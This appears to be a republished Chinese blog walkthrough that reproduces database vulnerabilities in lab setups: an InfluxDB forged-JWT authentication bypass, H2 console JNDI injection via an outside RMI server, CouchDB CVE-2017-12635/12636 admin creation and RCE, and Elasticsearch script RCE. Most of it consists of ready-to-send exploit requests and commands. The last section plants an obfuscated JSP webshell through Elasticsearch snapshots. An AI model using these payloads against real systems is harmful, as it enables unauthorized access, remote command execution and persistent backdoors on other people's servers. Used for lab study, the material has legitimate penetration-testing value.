一、Influxdb-未授权访问-Jwt验证不当
默认端口:8086 8088
influxdb是一款著名的时序数据库,其使用jwt作为鉴权方式。在用户开启了认证,但未设置参数shared-secret的情况下,jwt的认证密钥为空字符串,此时攻击者可以伪造任意用户身份在influxdb中执行SQL语句。
1、借助https://jwt.io/来生成jwt token:
{
"alg": "HS256",
"typ": "JWT"
}
{
"username": "admin",
"exp": 1676346267
}
借助docker搭建环境
访问http://192.168.153.132:8086/debug/vars
通过burp抓包,利用json加密,exp="exp": 1676346267,这里的时间大于目前时间
POST /query HTTP/1.1
Host: 192.168.153.132:8086
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNjc2MzQ2MjY3fQ.NPhb55F0tpsp5X5vcN_IkAAGDfNzV5BA6M4AThhxz6A
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 22
db=sample&q=show users
二、H2database-未授权访问-配置不当
默认端口:20051
H2 database是一款Java内存数据库,多用于单元测试。H2 database自带一个Web管理页面,在Spirng开发中,如果我们设置如下选项,即可允许外部用户访问Web管理页面,且没有鉴权:默认端口:
spring.h2.console.enabled=true
spring.h2.console.settings.web-allow-others=true
利用这个管理页面,我们可以进行JNDI注入攻击,进而在目标环境下执行任意命令。
1、下载JNDI-Injection-Exploit
https://github.com/welk1n/JNDI-Injection-Exploit
2、生成执行RMI Payload-URL
-C 执行命令 -A 服务器地址
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C touch /tmp/success -A 47.94.236.117
3、填入URL提交执行
javax.naming.InitialContext
rmi://47.94.236.117:1099/kd1rns
利用docker搭建靶机,访问http://192.168.153.132:8080/h2-console/login.jsp?jsessionid=f49af99d4d6641c0c9d6573f3fd57c55
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C touch /tmp/success -A 192.168.153.129
三、CouchDB-权限绕过配合RCE-漏洞
默认端口:5984
Apache CouchDB是一个开源数据库,专注于易用性和成为"完全拥抱web的数据库"。它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。应用广泛,如BBC用在其动态内容展示平台,Credit Suisse用在其内部的商品部门的市场框架,Meebo,用在其社交平台(web和应用程序)
-CouchDB-权限绕过-CVE-2017-12635
1、先创建用户
Post:/_users/org.couchdb.user:vulhub
{
"type": "user",
"name": "vulhub",
"roles": ["_admin"],
"roles": [],
"password": "vulhub"
}
2、登录用户授权
Get:/_utils/
vulhub vulhub
第一次发包
PUT /_users/org.couchdb.user:vulhub HTTP/1.1
Host: your-ip:5984
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 90
{
"type": "user",
"name": "vulhub",
"roles": ["_admin"],
"password": "vulhub"
}
第二次发包
PUT /_users/org.couchdb.user:vulhub HTTP/1.1
Host: your-ip:5984
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 108
{
"type": "user",
"name": "vulhub",
"roles": ["_admin"],
"roles": [],
"password": "vulhub"
}
-CouchDB-权限绕过RCE-CVE-2017-12636
1、下载exp.py
2、修改目标和反弹地址
3、Python3调用执行即可
https://github.com/vulhub/vulhub/blob/master/couchdb/CVE-2017-12636/exp.py
ElasticSearch-文件写入&RCE-漏洞
默认端口:9200 9300
-Elasticsearch RCE CVE-2014-3120
1、漏洞需要es中至少存在一条数据,所以我们需要先创建一条数据
POST /website/blog/ HTTP/1.1
Host: your-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
{
"name": "xiaodi"
}
2、直接发包触发执行命令
POST /_search?pretty HTTP/1.1
Host: your-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 343
{
"size": 1,
"query": {
"filtered": {
"query": {
"match_all": {
}
}
}
},
"script_fields": {
"command": {
"script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"\\\\A\").next();"
}
}
}
-Elasticsearch 文件写入 wooyun_2015_110216
9200一般为ElasticSearch的常用端口,此漏洞环境需要与中间件使用
1、发现9200端口存在elasticsearch页面,8080存在tomcat目录
2、利用ElasticSearch写入后门到/usr/local/tomcat/webapps/wwwroot/
curl -XPOST http://123.58.236.76:31556/yz.jsp/yz.jsp/1 -d'
{"<%new java.io.RandomAccessFile(application.getRealPath(new String(new byte[]{47,116,101,115,116,46,106,115,112})),new String(new byte[]{114,119})).write(request.getParameter(new String(new byte[]{102})).getBytes());%>":"test"}
'
curl -XPUT 'http://123.58.236.76:31556/_snapshot/yz.jsp' -d '{
"type": "fs",
"settings": {
"location": "/usr/local/tomcat/webapps/wwwroot/",
"compress": false
}
}'
curl -XPUT "http://123.58.236.76:31556/_snapshot/yz.jsp/yz.jsp" -d '{
"indices": "yz.jsp",
"ignore_unavailable": "true",
"include_global_state": false
}'
3、访问8080端口snapshot-yz.jsp文件写入代码到test.jsp中
文件写入网址:http://123.58.236.76:31557/wwwroot/indices/yz.jsp/snapshot-yz.jsp?f=success文章来源:https://www.toymoban.com/news/detail-409490.html
代码显示网址:http://123.58.236.76:31557/wwwroot/test.jsp文章来源地址https://www.toymoban.com/news/detail-409490.html
到了这里,关于漏洞复现Influxdb,H2database,couchDB,ElasticSearch的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!